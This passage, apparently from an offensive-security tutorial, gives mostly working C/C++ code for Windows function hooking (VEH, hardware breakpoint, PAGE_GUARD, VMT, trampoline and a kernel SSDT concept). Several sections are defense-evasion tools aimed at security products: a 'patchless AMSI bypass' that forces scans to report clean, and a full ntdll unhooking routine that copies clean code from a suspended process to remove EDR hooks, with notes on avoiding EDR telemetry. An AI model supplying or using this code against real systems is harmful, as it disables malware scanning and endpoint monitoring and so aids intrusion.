    RemoveVectoredExceptionHandler(g_VEHHandle);
}

int main(void) {
    PVOID pMessageBoxA = GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
    InstallVEHHook(pMessageBoxA);

    MessageBoxA(NULL, "Test", "VEH Hook", MB_OK);  // → intercepted

    RemoveVEHHook();
    return 0;
}

Inline hook:     Writes E9 JMP → memory integrity check DETECTS IT
INT3 hook:       Writes 0xCC   → memory integrity check DETECTS IT
HWBP:            Writes NOTHING to memory → integrity check PASSES
                 Sets CPU DR0 register → invisible to memory scanner
                 Max 4 breakpoints per thread (DR0–DR3)

// hwbp_hook.c — Hardware breakpoint VEH hook (patchless)
#include <Windows.h>
#include <stdio.h>

// ── Hook configuration ────────────────────────────────────────
static PVOID g_pHookTarget = NULL;   // function to intercept
static PVOID g_VEHHandle   = NULL;

// ── Set hardware breakpoint in current thread's DR0 ───────────
BOOL SetHWBP(PVOID pAddress) {
    CONTEXT ctx = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
    if (!GetThreadContext(GetCurrentThread(), &ctx))
        return FALSE;

    ctx.Dr0  = (DWORD_PTR)pAddress;  // set address in DR0
    ctx.Dr7 |= 1;                     // enable DR0 (bit 0 = local enable)
    // Bits 16-17: condition = 00 (execute)
    // Bits 18-19: length    = 00 (1 byte)
    ctx.Dr7 &= ~((DWORD_PTR)0xF << 16);  // clear condition+length for DR0

    return SetThreadContext(GetCurrentThread(), &ctx);
}

// ── Remove hardware breakpoint from DR0 ───────────────────────
BOOL RemoveHWBP(void) {
    CONTEXT ctx = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
    if (!GetThreadContext(GetCurrentThread(), &ctx))
        return FALSE;
    ctx.Dr0  = 0;
    ctx.Dr7 &= ~(DWORD_PTR)1;    // clear local enable for DR0
    return SetThreadContext(GetCurrentThread(), &ctx);
}

// ── VEH handler ───────────────────────────────────────────────
LONG CALLBACK HWBPHandler(PEXCEPTION_POINTERS pExInfo) {
    PEXCEPTION_RECORD pRec = pExInfo->ExceptionRecord;
    PCONTEXT          pCtx = pExInfo->ContextRecord;

    if (pRec->ExceptionCode == EXCEPTION_SINGLE_STEP &&
        pRec->ExceptionAddress == g_pHookTarget) {

        printf("[HWBP] Function hit! RIP=0x%llx\n", pCtx->Rip);

        // Arguments on x64: RCX, RDX, R8, R9
        printf("[HWBP] Args: RCX=0x%llx RDX=0x%llx R8=0x%llx\n",
               pCtx->Rcx, pCtx->Rdx, pCtx->R8);

        // Example: intercept AmsiScanBuffer → fake clean result
        // pCtx->Rip = (DWORD64)&ResumeStub;  // redirect elsewhere
        // pCtx->Rcx = ...;                    // modify arg

        // Re-enable DR0 (disabled by single-step)
        pCtx->Dr0  = (DWORD_PTR)g_pHookTarget;
        pCtx->Dr7 |= 1;

        return EXCEPTION_CONTINUE_EXECUTION;
    }

    return EXCEPTION_CONTINUE_SEARCH;
}

void InstallHWBPHook(PVOID pTarget) {
    g_pHookTarget = pTarget;

    // Register VEH as first handler
    g_VEHHandle = AddVectoredExceptionHandler(1, HWBPHandler);

    // Set hardware breakpoint in this thread
    SetHWBP(pTarget);
    printf("[+] HWBP hook installed at 0x%p\n", pTarget);
}

int main(void) {
    PVOID pTarget = GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");

    InstallHWBPHook(pTarget);

    // Allocate memory — NtAllocateVirtualMemory called internally
    PVOID buf = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE);
    VirtualFree(buf, 0, MEM_RELEASE);

    RemoveVectoredExceptionHandler(g_VEHHandle);
    RemoveHWBP();
    return 0;
}

// Patchless AMSI bypass via HWBP — no memory modification
// Sets DR0 on AmsiScanBuffer, VEH sets AMSI_RESULT_CLEAN in context

#include <Windows.h>

typedef HRESULT (WINAPI *fpAmsiScanBuffer)(
    HAMSICONTEXT, PVOID, ULONG, LPCWSTR, HAMSISESSION, AMSI_RESULT*);

PVOID g_pAmsiScan = NULL;
PVOID g_VEH       = NULL;

LONG CALLBACK AmsiVEH(PEXCEPTION_POINTERS pEx) {
    if (pEx->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP &&
        pEx->ExceptionRecord->ExceptionAddress == g_pAmsiScan) {

        // R9 points to AMSI_RESULT* output parameter
        AMSI_RESULT* pResult = (AMSI_RESULT*)pEx->ContextRecord->R9;
        if (pResult) *pResult = AMSI_RESULT_CLEAN;

        // Redirect RIP to ret stub — skip entire function
        // Find a RET gadget or set to a clean return path
        pEx->ContextRecord->Rip = /* address of a clean RET */ 0;

        // Re-arm HWBP
        pEx->ContextRecord->Dr0  = (DWORD_PTR)g_pAmsiScan;
        pEx->ContextRecord->Dr7 |= 1;

        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

void BypassAMSI_HWBP(void) {
    HMODULE hAmsi = LoadLibraryA("amsi.dll");
    g_pAmsiScan   = GetProcAddress(hAmsi, "AmsiScanBuffer");

    g_VEH = AddVectoredExceptionHandler(1, AmsiVEH);

    CONTEXT ctx = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
    GetThreadContext(GetCurrentThread(), &ctx);
    ctx.Dr0  = (DWORD_PTR)g_pAmsiScan;
    ctx.Dr7 |= 1;
    SetThreadContext(GetCurrentThread(), &ctx);
}

// page_guard_hook.c — Hook via PAGE_GUARD memory protection
#include <Windows.h>
#include <stdio.h>

static PVOID g_pTarget   = NULL;
static DWORD g_OrigProt  = 0;
static PVOID g_VEH       = NULL;

LONG CALLBACK PageGuardVEH(PEXCEPTION_POINTERS pEx) {
    PEXCEPTION_RECORD pRec = pEx->ExceptionRecord;
    PCONTEXT          pCtx = pEx->ContextRecord;

    if (pRec->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) {
        PVOID accessAddr = (PVOID)pRec->ExceptionInformation[1];

        if (accessAddr == g_pTarget) {
            printf("[PAGE GUARD] Function hit at 0x%p\n", g_pTarget);
            printf("[PAGE GUARD] RIP=0x%llx RCX=0x%llx\n",
                   pCtx->Rip, pCtx->Rcx);
        }

        // PAGE_GUARD is automatically removed on first hit — set single-step to re-add
        pCtx->EFlags |= 0x100;  // Trap flag
        return EXCEPTION_CONTINUE_EXECUTION;
    }

    if (pRec->ExceptionCode == EXCEPTION_SINGLE_STEP) {
        // Re-arm the guard page
        DWORD tmp;
        VirtualProtect(g_pTarget, 1, g_OrigProt | PAGE_GUARD, &tmp);
        return EXCEPTION_CONTINUE_EXECUTION;
    }

    return EXCEPTION_CONTINUE_SEARCH;
}

void InstallPageGuardHook(PVOID pTarget) {
    g_pTarget = pTarget;
    g_VEH     = AddVectoredExceptionHandler(1, PageGuardVEH);

    VirtualProtect(pTarget, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &g_OrigProt);
    printf("[+] PAGE_GUARD hook at 0x%p\n", pTarget);
}

// vmt_hook.cpp — VMT hooking example (C++)
#include <Windows.h>
#include <stdio.h>

// ── Simulated target class with virtual method ────────────────
class TargetClass {
public:
    virtual void VirtualMethod(const char* msg) {
        printf("[REAL] VirtualMethod: %s\n", msg);
    }
    virtual ~TargetClass() {}
};

// ── Hook function (same signature as virtual method) ──────────
void HookVirtualMethod(TargetClass* pThis, const char* msg) {
    printf("[VMT HOOK] Intercepted VirtualMethod: %s\n", msg);
    // Optionally: call original via saved pointer
}

// ── VMT hook implementation ───────────────────────────────────
void** g_pOrigVTable     = nullptr;
void** g_pShadowVTable   = nullptr;
void*  g_pOrigVirtMethod = nullptr;

void InstallVMTHook(TargetClass* pObject, int vtableIndex, void* hookFunc) {
    // Get pointer to vtable (first 8 bytes of object on x64)
    void** pVTable = *(void***)pObject;

    // Count vtable entries (walk until we hit null or code guard)
    size_t vtableSize = 0;
    while (pVTable[vtableSize]) vtableSize++;

    // Allocate shadow vtable
    g_pShadowVTable = new void*[vtableSize];
    memcpy(g_pShadowVTable, pVTable, vtableSize * sizeof(void*));

    // Save original and replace entry
    g_pOrigVirtMethod = g_pShadowVTable[vtableIndex];
    g_pShadowVTable[vtableIndex] = hookFunc;

    // Point object's vtable pointer to shadow table
    DWORD oldProtect;
    VirtualProtect(pObject, sizeof(void*), PAGE_READWRITE, &oldProtect);
    *(void***)pObject = g_pShadowVTable;
    VirtualProtect(pObject, sizeof(void*), oldProtect, &oldProtect);

    printf("[+] VMT hook installed at vtable[%d]\n", vtableIndex);
}

int main(void) {
    TargetClass obj;
    obj.VirtualMethod("Before hook");

    InstallVMTHook(&obj, 0, (void*)HookVirtualMethod);

    obj.VirtualMethod("After hook");   // → goes to HookVirtualMethod

    // Restore
    *(void***)&obj = g_pOrigVTable;
    delete[] g_pShadowVTable;
    return 0;
}

SSDT Structure:
nt!KiServiceTable (SSDT):
  Index 0:  → NtAccessCheck
  Index 1:  → NtWorkerFactoryWorkerReady
  ...
  Index N:  → NtAllocateVirtualMemory  ← replace with rootkit hook
  ...

Syscall dispatch:
  mov eax, SSN        (System Service Number)
  syscall             → kernel looks up SSDT[SSN] → calls it

SSDT hook replaces:
  SSDT[SSN for NtAllocateVirtualMemory] = &HookNtAllocate

Result: ALL processes in the entire system are hooked

// ssdt_hook.c — Concept (kernel driver, Ring 0 only)
// This requires a kernel driver (.sys file) — NOT user-mode code

#include <ntddk.h>

// Pointer type for NtAllocateVirtualMemory
typedef NTSTATUS (*fpNtAllocVirtMem)(
    HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);

fpNtAllocVirtMem g_OrigNtAlloc = NULL;

NTSTATUS HookNtAllocateVirtualMemory(
    HANDLE ProcessHandle, PVOID* BaseAddress,
    ULONG_PTR ZeroBits, PSIZE_T RegionSize,
    ULONG AllocationType, ULONG Protect) {

    DbgPrint("[SSDT HOOK] NtAllocateVirtualMemory: PID=%llu Size=%llu Prot=0x%X\n",
             (ULONG64)ProcessHandle, *RegionSize, Protect);

    // Block RWX (0x40) allocations
    if (Protect == PAGE_EXECUTE_READWRITE)
        return STATUS_ACCESS_DENIED;

    return g_OrigNtAlloc(ProcessHandle, BaseAddress,
                         ZeroBits, RegionSize, AllocationType, Protect);
}

// Installation would use KeServiceDescriptorTable (x86) or
// find the SSDT via KPCR on x64 (PatchGuard-protected on Win10/11 x64)

# WinDbg commands — inspect SSDT
kd> dq nt!KiServiceTable L100       # display SSDT entries
kd> u poi(nt!KiServiceTable + N*8)  # disassemble SSDT entry N
kd> !ssdt                           # WinDbg extension (Volatility has this too)

# Volatility — detect SSDT hooks from memory dump
volatility -f memory.dmp --profile=Win7SP1x64 ssdt

// generic_hook.c — Portable hook engine for x64 Windows
// Supports: install, call original, remove
#include <Windows.h>
#include <stdio.h>
#include <stdint.h>

#define HOOK_PATCH_SIZE  14   // 14-byte far JMP (x64-safe)
#define TRAMPOLINE_SIZE  (HOOK_PATCH_SIZE + 14)  // displaced + jmp back

typedef struct _HOOK_ENTRY {
    PVOID   pTarget;                      // original function
    PVOID   pDetour;                      // hook function
    PVOID   pTrampoline;                  // allocated trampoline
    BYTE    origBytes[HOOK_PATCH_SIZE];   // saved original bytes
    BOOL    bEnabled;
} HOOK_ENTRY;

// ── Build 14-byte far JMP ──────────────────────────────────────
static void BuildFarJMP(BYTE* buf, PVOID dest) {
    buf[0] = 0xFF; buf[1] = 0x25;
    buf[2] = buf[3] = buf[4] = buf[5] = 0x00; // JMP [rip+0]
    *(PVOID*)(buf + 6) = dest;
}

// ── Create a new hook ──────────────────────────────────────────
BOOL HookCreate(HOOK_ENTRY* hook, PVOID pTarget, PVOID pDetour) {
    hook->pTarget  = pTarget;
    hook->pDetour  = pDetour;
    hook->bEnabled = FALSE;

    // Save original bytes
    memcpy(hook->origBytes, pTarget, HOOK_PATCH_SIZE);

    // Allocate executable trampoline near the target (for near-call compat)
    hook->pTrampoline = VirtualAlloc(NULL, TRAMPOLINE_SIZE,
                                     MEM_COMMIT | MEM_RESERVE,
                                     PAGE_EXECUTE_READWRITE);
    if (!hook->pTrampoline) return FALSE;

    // Copy original bytes to trampoline
    memcpy(hook->pTrampoline, hook->origBytes, HOOK_PATCH_SIZE);

    // Append JMP back to target+HOOK_PATCH_SIZE
    BuildFarJMP((BYTE*)hook->pTrampoline + HOOK_PATCH_SIZE,
                (BYTE*)pTarget + HOOK_PATCH_SIZE);

    return TRUE;
}

// ── Enable hook ───────────────────────────────────────────────
BOOL HookEnable(HOOK_ENTRY* hook) {
    DWORD oldProtect;
    BYTE  patch[HOOK_PATCH_SIZE];
    BuildFarJMP(patch, hook->pDetour);

    VirtualProtect(hook->pTarget, HOOK_PATCH_SIZE,
                   PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(hook->pTarget, patch, HOOK_PATCH_SIZE);
    VirtualProtect(hook->pTarget, HOOK_PATCH_SIZE,
                   oldProtect, &oldProtect);

    hook->bEnabled = TRUE;
    return TRUE;
}

// ── Disable hook (restore original bytes) ─────────────────────
BOOL HookDisable(HOOK_ENTRY* hook) {
    DWORD oldProtect;
    VirtualProtect(hook->pTarget, HOOK_PATCH_SIZE,
                   PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(hook->pTarget, hook->origBytes, HOOK_PATCH_SIZE);
    VirtualProtect(hook->pTarget, HOOK_PATCH_SIZE,
                   oldProtect, &oldProtect);

    hook->bEnabled = FALSE;
    return TRUE;
}

// ── Usage example ─────────────────────────────────────────────
typedef BOOL (WINAPI *fpCreateProcessW)(LPCWSTR,LPWSTR,
    LPSECURITY_ATTRIBUTES,LPSECURITY_ATTRIBUTES,BOOL,DWORD,
    LPVOID,LPCWSTR,LPSTARTUPINFOW,LPPROCESS_INFORMATION);

static HOOK_ENTRY g_HookCreateProcess;
static fpCreateProcessW g_fpOrigCreateProcess;

BOOL WINAPI MyCreateProcessW(LPCWSTR lpApp, LPWSTR lpCmd,
    LPSECURITY_ATTRIBUTES pPA, LPSECURITY_ATTRIBUTES pTA,
    BOOL bInherit, DWORD dwFlags, LPVOID pEnv,
    LPCWSTR lpDir, LPSTARTUPINFOW pSI, LPPROCESS_INFORMATION pPI) {

    wprintf(L"[HOOK] CreateProcessW: %ls %ls\n",
            lpApp ? lpApp : L"(null)", lpCmd ? lpCmd : L"(null)");

    // Call original via trampoline
    return ((fpCreateProcessW)g_HookCreateProcess.pTrampoline)
           (lpApp, lpCmd, pPA, pTA, bInherit, dwFlags,
            pEnv, lpDir, pSI, pPI);
}

int main(void) {
    PVOID pTarget = GetProcAddress(
        GetModuleHandleA("kernel32.dll"), "CreateProcessW");

    HookCreate(&g_HookCreateProcess, pTarget, MyCreateProcessW);
    HookEnable(&g_HookCreateProcess);

    // Test
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = {0};
    CreateProcessW(L"C:\\Windows\\System32\\notepad.exe",
                   NULL, NULL, NULL, FALSE, 0,
                   NULL, NULL, &si, &pi);
    if (pi.hProcess) {
        WaitForSingleObject(pi.hProcess, 3000);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }

    HookDisable(&g_HookCreateProcess);
    VirtualFree(g_HookCreateProcess.pTrampoline, 0, MEM_RELEASE);
    return 0;
}

Method 1: From Disk
  → Read ntdll.dll from C:\Windows\System32\ntdll.dll
  → File I/O telemetry → EDR may detect this approach

Method 2: From KnownDlls
  → Read ntdll from \KnownDlls\ntdll.dll (mapped object)
  → Bypasses file I/O monitoring

Method 3: From Suspended Process
  → Create a process in suspended state (EDR hasn't hooked it yet)
  → Read ntdll from the suspended process's memory
  → Fileless — no disk I/O

Method 4: Selective Unhooking
  → Only unhook specific Nt* stubs that are hooked
  → Minimizes footprint vs. full .text section replacement

// ntdll_unhook.c — Restore ntdll .text section from a suspended process
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>

// ── Get base address of a module in a remote process ──────────
PVOID GetRemoteModuleBase(HANDLE hProcess, LPCWSTR modName) {
    PROCESS_BASIC_INFORMATION pbi = {0};
    NtQueryInformationProcess(hProcess, ProcessBasicInformation,
                              &pbi, sizeof(pbi), NULL);

    // Read PEB from remote process
    PEB peb = {0};
    ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);

    // Read loader data
    PEB_LDR_DATA ldr = {0};
    ReadProcessMemory(hProcess, peb.Ldr, &ldr, sizeof(ldr), NULL);

    // Walk InMemoryOrderModuleList
    LIST_ENTRY* pHead = &((PEB_LDR_DATA*)peb.Ldr)->InMemoryOrderModuleList;
    LIST_ENTRY  entry = {0};
    ReadProcessMemory(hProcess, pHead, &entry, sizeof(entry), NULL);

    LIST_ENTRY* pCurr = entry.Flink;
    while (pCurr != pHead) {
        LDR_DATA_TABLE_ENTRY ldte = {0};
        ReadProcessMemory(hProcess,
                          CONTAINING_RECORD(pCurr, LDR_DATA_TABLE_ENTRY,
                                            InMemoryOrderLinks),
                          &ldte, sizeof(ldte), NULL);

        wchar_t name[260] = {0};
        ReadProcessMemory(hProcess, ldte.FullDllName.Buffer,
                          name, ldte.FullDllName.Length, NULL);

        if (wcsstr(name, modName)) {
            return ldte.DllBase;
        }
        ReadProcessMemory(hProcess, pCurr, &entry, sizeof(entry), NULL);
        pCurr = entry.Flink;
    }
    return NULL;
}

// ── Main unhook routine ───────────────────────────────────────
BOOL UnhookNtdll(void) {
    // 1. Find our hooked ntdll
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) return FALSE;

    // 2. Spawn calc.exe suspended — its ntdll is clean (not yet hooked by EDR)
    STARTUPINFOW si   = { sizeof(si) };
    PROCESS_INFORMATION pi = {0};
    if (!CreateProcessW(L"C:\\Windows\\System32\\calc.exe",
                        NULL, NULL, NULL, FALSE,
                        CREATE_SUSPENDED,
                        NULL, NULL, &si, &pi)) {
        printf("[-] Failed to spawn suspended process: %lu\n", GetLastError());
        return FALSE;
    }

    // 3. Get ntdll base in remote (clean) process
    PVOID pRemoteNtdll = GetRemoteModuleBase(pi.hProcess, L"ntdll.dll");
    if (!pRemoteNtdll) {
        TerminateProcess(pi.hProcess, 0);
        return FALSE;
    }

    // 4. Parse local ntdll to find .text section
    PIMAGE_DOS_HEADER pDOS = (PIMAGE_DOS_HEADER)hNtdll;
    PIMAGE_NT_HEADERS pNT  = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + pDOS->e_lfanew);
    PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNT);

    for (WORD i = 0; i < pNT->FileHeader.NumberOfSections; i++, pSec++) {
        if (strncmp((char*)pSec->Name, ".text", 5) != 0) continue;

        SIZE_T  textSize = pSec->Misc.VirtualSize;
        PVOID   pLocal   = (PVOID)((BYTE*)hNtdll + pSec->VirtualAddress);
        PVOID   pRemote  = (PVOID)((BYTE*)pRemoteNtdll + pSec->VirtualAddress);

        // 5. Allocate buffer for clean .text section
        PBYTE pCleanText = (PBYTE)VirtualAlloc(NULL, textSize,
                                               MEM_COMMIT, PAGE_READWRITE);
        if (!pCleanText) break;

        // 6. Read clean .text from suspended process
        SIZE_T bytesRead = 0;
        ReadProcessMemory(pi.hProcess, pRemote, pCleanText, textSize, &bytesRead);

        // 7. Overwrite hooked .text with clean bytes
        DWORD oldProtect;
        VirtualProtect(pLocal, textSize, PAGE_EXECUTE_READWRITE, &oldProtect);
        memcpy(pLocal, pCleanText, textSize);
        VirtualProtect(pLocal, textSize, oldProtect, &oldProtect);

        VirtualFree(pCleanText, 0, MEM_RELEASE);

        printf("[+] ntdll.dll .text section unhooked (%zu bytes)\n", textSize);
        break;
    }

    // 8. Kill the helper process
    TerminateProcess(pi.hProcess, 0);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return TRUE;
}

int main(void) {
    UnhookNtdll();
    // From here — NtAllocateVirtualMemory, NtCreateThreadEx etc. are clean
    // EDR's user-mode hooks are gone
    return 0;
}